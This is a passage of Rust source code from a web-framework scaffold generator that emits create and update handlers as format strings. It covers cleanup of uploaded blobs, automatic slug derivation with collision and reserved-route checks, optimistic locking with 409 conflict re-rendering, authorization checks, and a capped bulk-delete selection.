let blob = field.save_to_blob_store(&*store, key).await?;\n \
saved_blob_keys.push(blob.key.clone());\n \
{name}_blob = Some(blob);\n \
}}\n \
}}\n"
);
}
format!(
"let store = state\n \
.extension::<autumn_web::storage::BlobStoreState>()\n \
.ok_or_else(|| AutumnError::internal_server_error_msg(\"storage not configured\"))?\n \
.store()\n \
.clone();\n \
let mut saved_blob_keys: Vec<String> = Vec::new();\n\
{blob_decls} \
let __parse_result: AutumnResult<{pascal_name}Form> = async {{\n \
let mut form_pairs: Vec<(String, String)> = Vec::new();\n \
while let Some(field) = multipart.next_field().await? {{\n \
let field_name = field.name().map(str::to_owned);\n \
match field_name.as_deref() {{\n\
{match_arms} \
Some(other) => {{\n \
let value = String::from_utf8(field.bytes_limited().await?)\n \
.map_err(|_| AutumnError::bad_request_msg(\"form field was not valid UTF-8\"))?;\n \
form_pairs.push((other.to_owned(), value));\n \
}}\n \
None => {{}}\n \
}}\n \
}}\n \
let encoded = url::form_urlencoded::Serializer::new(String::new())\n \
.extend_pairs(form_pairs.iter().map(|(key, value)| (key.as_str(), value.as_str())))\n \
.finish();\n \
let form = decode_form(Bytes::from(encoded))?;\n \
Ok(form)\n \
}}\n \
.await;\n \
let form = match __parse_result {{\n \
Ok(form) => form,\n \
Err(err) => {{\n \
{blob_cleanup}return Err(err);\n \
}}\n \
}};"
)
} else {
format!("let form = {decode_call};")
};
// Issue #1872: for attachment scaffolds `into_new` runs *after* the blob save,
// so its fallible parse (`?`) must first clean up the just-saved blob(s). We
// emit an explicit `match` that runs the cleanup then returns the same error
// the `?` would have produced.
let into_new_bind = format!(
"let mut new = match into_new(changeset.data()) {{\n \
Ok(new) => new,\n \
Err(err) => {{\n \
{blob_cleanup}return Err(err);\n \
}}\n \
}};"
);
// Create: build `New{Pascal}`, then bind each streamed blob. A `None` blob means no
// file was submitted, so the column stays NULL, satisfying the
// optional-empty-as-NULL acceptance criterion.
//
// #1260 AC4: on create, when the submitted slug is blank, derive it from the `from`
// source field via `autumn_web::slugify`, then probe for a collision and append a
// deterministic `-2`, `-3`, … suffix until a free value is found. Two records deriving
// the same base slug — two posts both titled "Hello" — then get distinct URLs instead
// of a 422 on the `UNIQUE INDEX`. A non-blank submitted slug, which the form exposes
// as a plain text input, passes through untouched; its uniqueness is still enforced by
// the existing `unique`-field violation handling below.
//
// A derived value equal to a static sibling route segment is treated as taken even
// though it is not in the table yet: axum's router (matchit) always prefers a static
// route over the `GET /{plural}/{slug}` capture, so a record whose slug were literally
// "new" — or "search", when `--searchable` emits `GET /{plural}/search`, or "trash",
// which #1332 adds — would never be reachable at its own show page. A post titled
// "Trash" would otherwise be permanently shadowed by the trash view. This guards the
// derived path only: an explicitly submitted slug of one of these is not rejected
// here, matching this AC's blank-only scope.
let reserved_segment_guard = {
let mut guard = String::from("candidate != \"new\"");
if search_enabled {
guard.push_str(" && candidate != \"search\"");
}
if trash_enabled {
guard.push_str(" && candidate != \"trash\"");
}
// Issue #1393 adds `GET /{plural}/import` to the static siblings, so a
// record whose title derives the slug "import" must be treated as taken
// too — otherwise it would be permanently shadowed by the upload form.
if import_enabled {
guard.push_str(" && candidate != \"import\"");
}
guard
};
#[allow(clippy::option_if_let_else)] // nested map_or_else closures read worse here
let slug_derive_block = if let Some(slug) = slug_field {
let field = &slug.name;
let from = slug
.constraints
.from
.as_deref()
.expect("parse_fields guarantees a slug field carries a `from` constraint");
format!(
"\n if new.{field}.is_empty() {{\n \
let base = autumn_web::slugify(&new.{from});\n \
let mut candidate = base.clone();\n \
let mut suffix: i64 = 2;\n \
loop {{\n \
let count: i64 = {plural}::table\n \
.filter({plural}::{field}.eq(&candidate))\n \
.count()\n \
.get_result(&mut *db)\n \
.await?;\n \
if count == 0 && {reserved_segment_guard} {{\n \
break;\n \
}}\n \
candidate = format!(\"{{base}}-{{suffix}}\");\n \
suffix += 1;\n \
}}\n \
new.{field} = candidate;\n \
}}"
)
} else {
String::new()
};
let create_new_block = if has_attachments {
let mut binds = String::new();
for f in &attachment_fields {
let name = &f.name;
let _ = write!(binds, "\n new.{name} = {name}_blob;");
}
format!("{into_new_bind}{binds}")
} else if slug_field.is_some() {
format!("let mut new = {into_new_call};{slug_derive_block}")
} else {
format!("let new = {into_new_call};")
};
// Issue #1260 review finding: `update` needs the SAME blank-derives-a-slug
// behavior `create` has — a submitted slug isn't required (AC4's "plain
// optional text input"), so clearing it on edit must re-derive rather
// than persist an empty string that breaks the record's own `/{slug}`
// route. Identical to `slug_derive_block` except the collision probe
// excludes the record's OWN current row via `{id_value_expr}` (the path
// extractor's still-old value) — otherwise re-deriving to the same slug
// a no-op edit would produce (title unchanged) would spuriously collide
// with itself and pick up an unwanted `-2` suffix.
#[allow(clippy::option_if_let_else)] // nested map_or_else closures read worse here
let update_slug_derive_block = if let Some(slug) = slug_field {
let field = &slug.name;
let from = slug
.constraints
.from
.as_deref()
.expect("parse_fields guarantees a slug field carries a `from` constraint");
format!(
"\n if new.{field}.is_empty() {{\n \
let base = autumn_web::slugify(&new.{from});\n \
let mut candidate = base.clone();\n \
let mut suffix: i64 = 2;\n \
loop {{\n \
let count: i64 = {plural}::table\n \
.filter({plural}::{field}.eq(&candidate))\n \
.filter({plural}::{field}.ne({id_value_expr}))\n \
.count()\n \
.get_result(&mut *db)\n \
.await?;\n \
if count == 0 && {reserved_segment_guard} {{\n \
break;\n \
}}\n \
candidate = format!(\"{{base}}-{{suffix}}\");\n \
suffix += 1;\n \
}}\n \
new.{field} = candidate;\n \
}}"
)
} else {
String::new()
};
// Update: preserve the existing blob when no new file was uploaded
// (`streamed.or(current)`), so an edit that does not touch the file leaves the stored
// attachment intact instead of nulling it. The current row is loaded through the same
// handle the update statement uses — the repository on the live path, the sharded repo
// on the sharded path, diesel otherwise. The load is spliced in before the validation
// guard, not after (#1236 AC3), because every 422 re-render of the edit form has to
// show which file is currently stored: a file input cannot be repopulated. Loading
// first also runs the record policy before the re-render, so a forbidden actor is
// denied instead of being handed the form back.
let (update_load_and_authorize_block, update_new_block) = if has_attachments {
// Issue #1872: loading the current row also happens after the blob save,
// so its fallible steps clean up the just-saved blob(s) before returning.
let load_current = if live && !sharded {
format!(
"let current = match repo.find_by_id(*id).await {{\n \
Ok(Some(current)) => current,\n \
Ok(None) => {{\n \
{blob_cleanup}return Err(AutumnError::not_found_msg(format!(\"{pascal_name} with id {{}} not found\", *id)));\n \
}}\n \
Err(err) => {{\n \
{blob_cleanup}return Err(err);\n \
}}\n \
}};\n "
)
} else if sharded {
format!(
"let current = match Pg{pascal_name}Repository::from_shard(&db).find_by_id(*id).await {{\n \
Ok(Some(current)) => current,\n \
Ok(None) => {{\n \
{blob_cleanup}return Err(AutumnError::not_found_msg(format!(\"{pascal_name} with id {{}} not found\", *id)));\n \
}}\n \
Err(err) => {{\n \
{blob_cleanup}return Err(err);\n \
}}\n \
}};\n "
)
} else {
format!(
"let current: {pascal_name} = match {plural}::table\n \
.find(*id)\n \
.select({pascal_name}::as_select())\n \
.first(&mut *db)\n \
.await\n \
{{\n \
Ok(current) => current,\n \
Err(err) => {{\n \
{blob_cleanup}return Err(AutumnError::not_found(err));\n \
}}\n \
}};\n "
)
};
let mut binds = String::new();
for f in &attachment_fields {
let name = &f.name;
// `.clone()` rather than a move: `current` stays whole so the
// unique-violation 422 further down can still render the currently
// stored attachment from it (issue #1236, AC3).
let _ = write!(
binds,
"\n new.{name} = {name}_blob.or(current.{name}.clone());"
);
}
(
format!("{load_current}{authz_attachment_update}"),
format!("{into_new_bind}{binds}"),
)
} else if slug_field.is_some() {
(
String::new(),
format!("let mut new = {into_new_call};{update_slug_derive_block}"),
)
} else {
(String::new(), format!("let new = {into_new_call};"))
};
// Shared re-render bodies: the same `layout(...)` markup the GET handlers emit, reused
// verbatim by the 422 branches so the form cannot drift. Both read from a
// `Changeset<{Pascal}Form>` named `changeset` and the CSRF params now on every create
// and update signature.
//
// #1135: the standard scaffold renders the whole form through one shared
// `{snake}_form_for` helper — a single `form_for` call deriving every control from the
// `FormModel` descriptors — so the view bodies carry no per-column code.
// `--live-validation` keeps the per-field emission path: its htmx inline-validation
// inputs (`text_input_htmx`) have no `FieldControl` equivalent to dispatch to.
//
// #1318 (AC3): the inline conflict banner, rendered above the edit form by both
// paths and gated on the `lock_conflict` binding every splice site provides, so a
// stale submit lands the author back on their own edits with an explanation rather
// than on a dead-end error page. A bare "409 Conflict" tells a non-technical author
// nothing. Under `--i18n` (#1349) the banner is the one thing an author reads when
// their save is rejected, so it is the last place to fall back to English. Recorded
// only when the scaffold has a lock column: an `en.ftl` key no view references fails
// `autumn i18n check --strict`.
let lock_conflict_banner = if lock_version.is_some() {
format!(
"@if lock_conflict {{\n \
p class=\"autumn-flash autumn-flash--error\" role=\"alert\" {{\n \
{}\n \
}}\n \
}}\n ",
labels.markup(
"common.lock.conflict",
"This record was changed by someone else since you opened it. \
Your changes are shown below — review them and save again to apply them.",
)
)
} else {
String::new()
};
// The `--live-validation` form is raw markup rather than a `form_for` call,
// so its hidden version input is spliced straight into the `<form>` body.
let lock_version_hidden_input = if lock_version.is_some() {
" input type=\"hidden\" name=\"lock_version\" value=(lock_version_value);\n"
} else {
""
};
// The hidden field is read straight off the raw body rather than through
// `{Pascal}Form`: the version is not one of the model's editable columns, so it has no
// place on the form struct, which would render it as a visible control and let a
// submit set it like any other value. `serde_urlencoded` ignores the unknown pair when
// decoding the form, so the two coexist.
//
// A missing or unparsable value is a 400, not a silent `0`: `0` would be a plausible
// version that could match a freshly created row and wave a hand-crafted submit past
// the guard.
//
// It scans every `lock_version` pair for the first that parses as an integer, rather
// than taking the first pair and parsing that. The CSRF and submit-token field names
// are app-configurable, so an app may legitimately name one of them `lock_version` —
// and those hidden inputs are prepended, so they land in the body first. Stopping at
// the first pair would read a UUID, fail to parse it, and 400 every update even though
// the real version was a few bytes later.
let lock_version_parser = lock_version.map_or_else(String::new, |_| {
format!(
"\n/// Read the hidden `lock_version` the edit form was rendered with\n\
/// (issue #1318).\n\
///\n\
/// This is the version the author was looking at, NOT the version to\n\
/// write — the `UPDATE` uses it as a `WHERE` guard and increments the\n\
/// column itself, so a row that moved on in the meantime matches zero\n\
/// rows and the handler re-renders at 409.\n\
fn parse_lock_version(body: &Bytes) -> AutumnResult<{lock_version_ty}> {{\n \
url::form_urlencoded::parse(body.as_ref())\n \
.filter(|(key, _)| key == \"lock_version\")\n \
.find_map(|(_, value)| value.parse::<{lock_version_ty}>().ok())\n \
.ok_or_else(|| AutumnError::bad_request_msg(\n \
\"missing or invalid lock_version: re-open the edit form and try again\",\n \
))\n\
}}\n"
)
});
let (new_form_body, edit_form_body, form_for_helper) = if live_validation {
// Issue #1124: `new_form`, `edit_form`, and both 422 re-render
// branches render the same inputs from a `Changeset<{Pascal}Form>`
// variable named `changeset`, so one renderer serves every site and
// the markup can never drift between them. Preserved values and
// inline errors come from the changeset via the shipped
// `autumn_web::form` helpers.
let changeset_inputs = render_changeset_form_inputs(
fields,
"changeset",
live_validation,
&validated_fields,
&reference_fields,
);
// Issue #1750: the belongs_to parent `<select>` (rendered inline by
// `render_changeset_form_inputs` via `render_live_reference_select`)
// reads a request-time `{name}_options` binding, so — exactly like the
// standard path — the new/edit form bodies load the options before the
// markup. The block wraps the `layout(...)` call so it splices into the
// GET handlers and the 422 re-render branches unchanged.
let mut option_loads = String::with_capacity(reference_fields.len() * 80);
for f in &reference_fields {
let name = &f.name;
let _ = writeln!(
option_loads,
" let {name}_options = {name}_select_options(&mut db).await?;"
);
}
// Issue #1706: the primary submit control is emitted through the typed
// `autumn_web::a11y::Button` primitive, whose constructor requires an
// accessible name — a nameless submit button is a compile error in the
// generated app. The destructive delete button below stays raw markup:
// it carries an `onclick` confirm the current `Button` API can't express,
// and converting would drop the confirmation guard.
let new_form_layout = format!(
"{layout_fn}({new_title}, {cp_new}{flash_arg}, html! {{\n \
h1 {{ {new_heading} }}\n \
form action=(paths::create()) method=\"post\"{form_enctype} {{\n \
(csrf_input(csrf.as_ref(), csrf_field.as_ref()))\n \
(submit_token_input(submit_token.as_ref(), submit_field.as_ref()))\n{changeset_inputs} \
(autumn_web::a11y::Button::new({create_button}).submit())\n \
}}\n \
}})"
);
let edit_form_layout = format!(
"{layout_fn}({edit_title_live}, {cp_edit}{flash_arg}, html! {{\n \
h1 {{ {edit_heading_live} }}\n \
{lock_conflict_banner}\
{edit_current_attachment_markup}\
form action=(paths::update(*id)) method=\"post\"{form_enctype} {{\n \
(csrf_input(csrf.as_ref(), csrf_field.as_ref()))\n \
(submit_token_input(submit_token.as_ref(), submit_field.as_ref()))\n{lock_version_hidden_input}{changeset_inputs} \
(autumn_web::a11y::Button::new({save_button}).submit())\n \
}}\n \
form action=(paths::delete(*id)) method=\"post\" {{\n \
(csrf_input(csrf.as_ref(), csrf_field.as_ref()))\n \
{delete_confirm_bind}button type=\"submit\" onclick={delete_confirm_attr} {{ {delete_button} }}\n \
}}\n \
}})"
);
let (new_form_body, edit_form_body) = wrap_form_bodies(
new_form_layout,
edit_form_layout,
&option_loads,
&edit_attachment_url_binds,
&resource_bind_form,
);
// The referenced-row option loaders are emitted regardless: they
// populate the in-form `<select>` (issue #1750). The issue #1146 index
// parent-label map is built separately, scoped to the page's own rows
// (`render_index_reference_label_loads`, #835) rather than through
// these loaders, which fetch every row of the referenced table — right
// for a `<select>`'s full option list, wrong for labeling ~20 rows.
let option_loaders =
render_reference_option_loaders(&display_reference_fields, db_ty, &reference_displays);
(new_form_body, edit_form_body, option_loaders)
} else {
// Reference selects: load the referenced ids before rendering and
// thread them into the shared helper (issue #1135, AC 2
// "references→select"). The loads live in a block expression wrapped
// around the `layout(...)` call so the same body splices into the GET
// handlers and the 422 re-render branches unchanged.
let mut option_loads = String::new();
let mut option_args = String::new();
for f in &reference_fields {
let name = &f.name;
let _ = writeln!(
option_loads,
" let {name}_options = {name}_select_options(&mut db).await?;"
);
let _ = write!(option_args, ", &{name}_options");
}
// Issue #1326: the shared `{snake}_form_for` helper gains an
// `exclude_state_fields` flag only when the model has a state-machine
// column; the create form keeps the column (initial state) while the
// edit form drops it (transition-only). A no-state-machine model passes
// no extra argument, keeping the pre-#1326 call byte-identical.
let form_exclude_create = if has_state_machine { ", false" } else { "" };
let form_exclude_edit = if has_state_machine { ", true" } else { "" };
// Issue #1318: the same shape for the optimistic-locking version — the
// edit call hands the helper the version to hide in the form, the create
// call `None` (no row, no version). Absent entirely without the column.
let form_lock_create = if lock_version.is_some() { ", None" } else { "" };
// Issue #1323: the FLAT create/edit forms keep the belongs_to select
// (#1146) — only the nested inline form drops it — so both pass `false`
// for the helper's `exclude_parent_fk` flag. Absent without
// `--belongs-to`, keeping the pre-#1323 call byte-identical.
let form_parent_fk = if nesting.is_some() { ", false" } else { "" };
let form_lock_edit = if lock_version.is_some() {
", Some(lock_version_value)"
} else {
""
};
let new_form_layout = format!(
"{layout_fn}({new_title}, {cp_new}{flash_arg}, html! {{\n \
h1 {{ {new_heading} }}\n \
({snake_name}_form_for({form_for_locale_arg}&changeset, paths::create(), {create_button_ref}, csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(){option_args}{form_exclude_create}{form_lock_create}{form_parent_fk}))\n \
}})"
);
let edit_form_layout = format!(
"{layout_fn}({edit_title}, {cp_edit}{flash_arg}, html! {{\n \
h1 {{ {edit_heading} }}\n \
{lock_conflict_banner}\
{edit_current_attachment_markup}\
({snake_name}_form_for({form_for_locale_arg}&changeset, paths::update({id_value_expr}), {save_button_ref}, csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(){option_args}{form_exclude_edit}{form_lock_edit}{form_parent_fk}))\n \
form action=(paths::delete({id_value_expr})) method=\"post\" {{\n \
(csrf_input(csrf.as_ref(), csrf_field.as_ref()))\n \
{delete_confirm_bind}button type=\"submit\" onclick={delete_confirm_attr} {{ {delete_button} }}\n \
}}\n \
}})"
);
let (new_form_body, edit_form_body) = wrap_form_bodies(
new_form_layout,
edit_form_layout,
&option_loads,
&edit_attachment_url_binds,
&resource_bind_form,
);
(
new_form_body,
edit_form_body,
render_form_for_helper(
pascal_name,
snake_name,
fields,
labels,
missing_reference_targets,
lock_version.map(|_| lock_version_ty.as_str()),
nesting.map(|n| n.fk.as_str()),
) + &render_reference_option_loaders(&reference_fields, db_ty, &reference_displays),
)
};
let form_model_impl = render_form_model_impl(pascal_name);
// `unique` fields (issue #1032) still classify DB constraint violations,
// but now feed the error into the *same* changeset renderer via
// `Changeset::from_errors`, so a duplicate value shows an inline error
// through the shipped helpers just like a validation failure.
let unique_constraints_const = if unique_fields.is_empty() {
String::new()
} else {
render_unique_constraints_const(plural, &unique_fields, all_fields)
};
// #1349: "has already been taken" is shown to whoever submitted the duplicate, so it
// is view text like any other. It cannot come from `UNIQUE_CONSTRAINTS` under
// `--i18n` — that is a `const`, evaluated before there is a request to have a locale —
// so the const keeps its (constraint, field) mapping and the message is looked up
// where the changeset error is built, in a handler that holds the extractor. One
// shared key rather than one per field: the const's message is the same sentence for
// every column. Recorded only when the scaffold has a unique column, for the same
// reason as the attachment meta — an `en.ftl` key no view references fails `autumn
// i18n check --strict`.
let (unique_message_binding, unique_message_expr) = if unique_fields.is_empty() {
("message", "message.to_string()".to_owned())
} else {
(
if labels.enabled() {
"_message"
} else {
"message"
},
labels.expr(
"common.error.taken",
"has already been taken",
"message.to_string()",
&[],
),
)
};
let create_insert_block = if !unique_fields.is_empty() {
// Issue #1872: `{blob_cleanup}` (empty unless the scaffold has attachment
// fields) best-effort deletes the just-saved blob(s) on both the
// unique-violation 422 and the generic DB-error early returns.
format!(
"let result: AutumnResult<()> = async {{\n \
{create_stmt}\n \
Ok(())\n \
}}.await;\n \
if let Err(err) = result {{\n \
if let Some((field, {unique_message_binding})) = autumn_web::error::unique_violation_field(&err, UNIQUE_CONSTRAINTS) {{\n \
let mut errors = std::collections::HashMap::new();\n \
errors.insert(field.to_string(), vec![{unique_message_expr}]);\n \
let changeset = Changeset::from_errors(changeset.into_inner(), errors);\n \
{blob_cleanup}return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, {new_form_body}).into_response());\n \
}}\n \
{blob_cleanup}return Err(err);\n \
}}\n \
flash.success({flash_created}).await;\n \
Ok(autumn_web::Redirect::to(&paths::index()).into_response())"
)
} else if has_attachments {
// Issue #1872: no unique constraints to classify, but the DB write can
// still fail after the blob save — clean up before returning the error.
format!(
"let result: AutumnResult<()> = async {{\n \
{create_stmt}\n \
Ok(())\n \
}}.await;\n \
if let Err(err) = result {{\n \
{blob_cleanup}return Err(err);\n \
}}\n \
flash.success({flash_created}).await;\n \
Ok(autumn_web::Redirect::to(&paths::index()).into_response())"
)
} else {
format!(
"{create_stmt}\n \
flash.success({flash_created}).await;\n \
Ok(autumn_web::Redirect::to(&paths::index()).into_response())"
)
};
// Issue #1125: on the standard authorized path, run the policy's `can_create`
// check before building/inserting the changeset. Create has no loaded row yet,
// so this uses `authorize_create` (context-only) rather than `authorize`.
let authz_create_call = if authorize {
format!(
"autumn_web::authorization::authorize_create::<{pascal_name}>({create_update_state_expr}, &session).await?;\n "
)
} else {
String::new()
};
let create_fn = format!(
"/// `POST /{plural}` — validate the submission and create a {snake_name},\n\
/// or re-render the form at 422 with inline errors and preserved input.\n\
#[secured]\n\
#[post(\"/{plural}\")]\n\
pub async fn create({create_signature}) -> AutumnResult<autumn_web::reexports::axum::response::Response> {{\n \
use autumn_web::reexports::axum::response::IntoResponse as _;\n \
{authz_create_call}\
{form_decode_block}\n \
let changeset = {changeset_build};\n \
if !changeset.is_valid() {{\n \
{blob_cleanup}return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, {new_form_body}).into_response());\n \
}}\n \
{create_new_block}\n \
{create_insert_block}\n\
}}\n"
);
// What the `update` handler does when its `UPDATE` matched no rows.
//
// Without optimistic locking that can only mean the row is gone: 404, as before. With
// a `lock_version` guard (#1318) it is ambiguous — the row may be missing, or the
// version may have moved on under us — so the handler re-reads it to tell the two
// apart:
//
// * still there → someone else committed a newer version between the edit-form load
// and this submit. Re-render the same edit body at 409 with the user's submitted
// values intact, an inline banner, and the row's current version in the hidden
// field. Carrying the stale version forward would make the form permanently
// unsavable: every resubmit would lose the same race.
// * gone → the pre-#1318 404.
//
// `{blob_cleanup}` and the id expression differ per branch, so both are parameters;
// without a lock column the output is the pre-#1318 text verbatim.
//
// The re-read row is re-authorized before anything from it is used. The policy check
// at the top of `update` ran against the snapshot this request loaded, and a record
// policy can depend on mutable row data, so the concurrent write that moved the
// version may also have moved the row out of this actor's reach. Only the version
// integer crosses over — the re-render shows the author's own submitted values — but
// re-checking costs one call and removes the whole class. Empty without a policy.
let conflict_reauthz = if authorize {
format!(
" autumn_web::authorization::authorize::<{pascal_name}>({create_update_state_expr}, &session, \"update\", ¤t).await?;\n"
)
} else {
String::new()
};
let update_zero_rows_block = |blob_cleanup: &str, id_expr: &str| -> String {
let not_found = format!(
"{blob_cleanup}return Err(AutumnError::not_found_msg(format!(\n \
\"{pascal_name} with id {{}} not found\", {id_expr}\n \
)));"
);
if lock_version.is_none() {
return not_found;
}
format!(
"{blob_cleanup}let current: Option<{pascal_name}> = {plural}::table\n \
.{find_expr}\n \
.select({pascal_name}::as_select())\n \
.first(&mut *db)\n \
.await\n \
.optional()?;\n \
if let Some(current) = current {{\n \
// Lost the race: re-render this author's edits over the row as it\n \
// now stands, so nothing they typed is thrown away.\n\
{conflict_reauthz} \
let lock_version_value = current.lock_version;\n \
let lock_conflict = true;\n \
return Ok((autumn_web::reexports::http::StatusCode::CONFLICT, {edit_form_body}).into_response());\n \
}}\n \
{not_found}"
)
};
// A slug field is always `unique` (issue #1260), so a slug scaffold
// always takes THIS branch — the `has_attachments`/plain branches below
// still hard-code the pre-#1260 `*id` literal, safe only because they're
// unreachable whenever a slug field is present.
let update_apply_block = if !unique_fields.is_empty() {
// Issue #1872: `{blob_cleanup}` (empty unless the scaffold has attachment
// fields) best-effort deletes the just-saved blob(s) on the
// unique-violation 422, the generic DB-error, and the not-found returns.
format!(
"let result: AutumnResult<usize> = async {{\n \
{update_stmt}\n \
Ok(updated)\n \
}}.await;\n \
let updated = match result {{\n \
Ok(updated) => updated,\n \
Err(err) => {{\n \
if let Some((field, {unique_message_binding})) = autumn_web::error::unique_violation_field(&err, UNIQUE_CONSTRAINTS) {{\n \
let mut errors = std::collections::HashMap::new();\n \
errors.insert(field.to_string(), vec![{unique_message_expr}]);\n \
let changeset = Changeset::from_errors(changeset.into_inner(), errors);\n \
{blob_cleanup}return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, {edit_form_body}).into_response());\n \
}}\n \
{blob_cleanup}return Err(err);\n \
}}\n \
}};\n \
if updated == 0 {{\n \
{zero_rows}\n \
}}\n \
flash.success({flash_updated}).await;\n \
Ok(autumn_web::Redirect::to(&paths::show({update_redirect_expr})).into_response())",
zero_rows = update_zero_rows_block(blob_cleanup, &id_value_expr),
)
} else if has_attachments {
// Issue #1872: no unique constraints, but the update write and the
// not-found guard both early-return after the blob save — clean up first.
format!(
"let result: AutumnResult<usize> = async {{\n \
{update_stmt}\n \
Ok(updated)\n \
}}.await;\n \
let updated = match result {{\n \
Ok(updated) => updated,\n \
Err(err) => {{\n \
{blob_cleanup}return Err(err);\n \
}}\n \
}};\n \
if updated == 0 {{\n \
{zero_rows}\n \
}}\n \
flash.success({flash_updated}).await;\n \
Ok(autumn_web::Redirect::to(&paths::show(*id)).into_response())",
zero_rows = update_zero_rows_block(blob_cleanup, "*id"),
)
} else {
format!(
"{update_stmt}\n \
if updated == 0 {{\n \
{zero_rows}\n \
}}\n \
flash.success({flash_updated}).await;\n \
Ok(autumn_web::Redirect::to(&paths::show(*id)).into_response())",
zero_rows = update_zero_rows_block("", "*id"),
)
};
// Issue #1125/#1830: load the target row and run the policy check *before*
// touching it, so a forbidden actor is denied (404/403 per config) before any
// write. Loading first also gives the same not-found behavior the post-update
// `updated == 0` guard provides. The load handle depends on the variant: the
// `repo` extractor on `--live`, a `from_shard` repository on `--sharded`, and
// raw diesel otherwise — all three yield the same `{Pascal}` row type.
let load_current_stmt = |binding: &str| -> String {
if live && !sharded {
format!(
"let {binding}: {pascal_name} = repo.find_by_id(*id).await?\n \
.ok_or_else(|| AutumnError::not_found_msg(format!(\"{pascal_name} with id {{}} not found\", *id)))?;\n "
)
} else if sharded {
format!(
"let {binding}: {pascal_name} = Pg{pascal_name}Repository::from_shard(&db).find_by_id(*id).await?\n \
.ok_or_else(|| AutumnError::not_found_msg(format!(\"{pascal_name} with id {{}} not found\", *id)))?;\n "
)
} else {
format!(
"let {binding}: {pascal_name} = {plural}::table\n \
.{find_expr}\n \
.select({pascal_name}::as_select())\n \
.first(&mut *db)\n \
.await\n \
.map_err(AutumnError::not_found)?;\n "
)
}
};
// Update: on the attachment path the handler already loads `current` (after
// parsing multipart, to preserve un-replaced blobs) and authorizes there via
// `authz_attachment_update`, so no up-front preamble is emitted. Every other
// variant loads + authorizes here.
let authz_update_preamble = if authorize && !has_attachments {
format!(
"{load}autumn_web::authorization::authorize::<{pascal_name}>({state}, &session, \"update\", ¤t).await?;\n ",
load = load_current_stmt("current"),
state = create_update_state_expr,
)
} else {
String::new()
};
// Destroy: no form body, so always load + authorize up front (`&state`, since
// `destroy` takes the full `State` pair even on the attachment path).
let authz_destroy_preamble = if authorize {
format!(
"{load}autumn_web::authorization::authorize::<{pascal_name}>({state}, &session, \"delete\", ¤t).await?;\n ",
load = load_current_stmt("current"),
state = edit_destroy_state_expr,
)
} else {
String::new()
};
let authz_edit_call = if authorize {
format!(
"autumn_web::authorization::authorize::<{pascal_name}>({edit_destroy_state_expr}, &session, \"edit\", &row).await?;\n "
)
} else {
String::new()
};
// Issue #1318: read the version the edit form was rendered against out of
// its hidden field, and seed the two bindings the shared edit body renders
// from. Both are re-bound (shadowed) by the 409 branch in
// `update_zero_rows_block`; on the 422 branches they keep these values, so a
// validation failure hands the same version back and the author's next
// submit still races against the row they actually opened.
let update_lock_version_preamble = lock_version.map_or_else(String::new, |_| {
"let expected_lock_version = parse_lock_version(&body)?;\n \
let lock_version_value = expected_lock_version;\n \
let lock_conflict = false;\n "
.to_owned()
});
let update_doc_locking = if lock_version.is_some() {
"/// Optimistic locking (issue #1318): the `UPDATE` is guarded by the\n\
/// `lock_version` the edit form was rendered against, so a submit that\n\
/// lost a race to a concurrent editor matches zero rows and re-renders\n\
/// the form at 409 instead of silently overwriting their work.\n"
} else {
""
};
let update_fn = format!(
"/// `POST /{plural}/{{{id_url_segment}}}/update` — validate and apply form data to a row,\n\
/// or re-render the edit form at 422 with inline errors and preserved input.\n\
/// Uses column-by-column `diesel::update().set(...)` (same convention as\n\
/// `examples/todo-app`) so we don't need `AsChangeset` on `New{pascal_name}`.\n\
{update_doc_locking}\
#[secured]\n\
#[post(\"/{plural}/{{{id_url_segment}}}/update\")]\n\
pub async fn update(\n \
{update_signature}\n\
) -> AutumnResult<autumn_web::reexports::axum::response::Response> {{\n \
use autumn_web::reexports::axum::response::IntoResponse as _;\n \
{authz_update_preamble}\
{update_lock_version_preamble}\
{form_decode_block}\n \
{update_load_and_authorize_block}\
let changeset = {changeset_build};\n \
if !changeset.is_valid() {{\n \
{blob_cleanup}return Ok((autumn_web::reexports::http::StatusCode::UNPROCESSABLE_ENTITY, {edit_form_body}).into_response());\n \
}}\n \
{update_new_block}\n \
{update_apply_block}\n\
}}\n"
);
// ── issue #1312: bulk-select + delete-selected ─────────────────────────
//
// The bulk-select form struct (issue #3394 retired the hand-written
// `parse_bulk_ids`). Emitted next to `csrf_input` / `submit_token_input`
// and only when the bulk gate is on, so the `--live`/`--sharded` output is
// byte-identical.
let bulk_ids_parser = if bulk_delete_enabled {
"\n/// Most rows one bulk submit may touch.\n\
///\n\
/// The checkboxes come from a single rendered page, so a real selection is\n\
/// page-sized; this cap only bites on a hand-crafted body. Without it the\n\
/// selection is bounded solely by the request-size limit (32 MiB by\n\
/// default), which is room for over a million ids — enough that even the\n\
/// chunked pre-flight below would issue a long run of sequential `SELECT`s,\n\
/// holding a pooled connection the whole time, for a batch that may match\n\
/// no rows at all.\n\
const MAX_BULK_IDS: usize = 5000;\n\
\n\
/// The bulk-select checkboxes of the index list.\n\
///\n\
/// The checkboxes submit `ids=1&ids=2`. Some clients send `ids[]=1`.\n\
/// The framework form decoder puts each repeated key into the `Vec`.\n\
#[derive(serde::Deserialize)]\n\
struct BulkSelection {\n \
#[serde(default, alias = \"ids[]\")]\n \
ids: Vec<i64>,\n\
}\n"
} else {
""
};
// `POST /{plural}/bulk_delete`. Emitted straight after the `index` handler
// it serves (and before `show`), so the list view and its bulk action read
// together.
let bulk_delete_fn = if bulk_delete_enabled {
// Same `State` + `Session` pair `destroy` takes when policy wiring is on.
let authz_params = if authorize {
format!("{edit_destroy_authz_params},")
} else {
String::new()
};
// Soft-delete: an already-deleted row is invisible to the list, so it must
// stay out of the selection too (matching `destroy`'s `deleted_at IS NULL`
// filter). The actual delete still routes through `delete_many`, which
// applies the repository's soft-delete + `dependent(...)` cascade rules.
// Trailing indent lines the chained call up inside the chunk loop below.
let soft_delete_filter = if soft_delete {
format!(".filter({plural}::deleted_at.is_null())\n ")
} else {
String::new()
};
let allowed_block = if authorize {
format!(
" let mut allowed: Vec<i64> = Vec::with_capacity(rows.len());\n \
for row in &rows {{\n \
// A row the actor may not delete is dropped from the batch instead of\n \
// failing the request: answering differently for \"not yours\" than for\n \
// \"not selected\" would turn this endpoint into an existence oracle.\n \
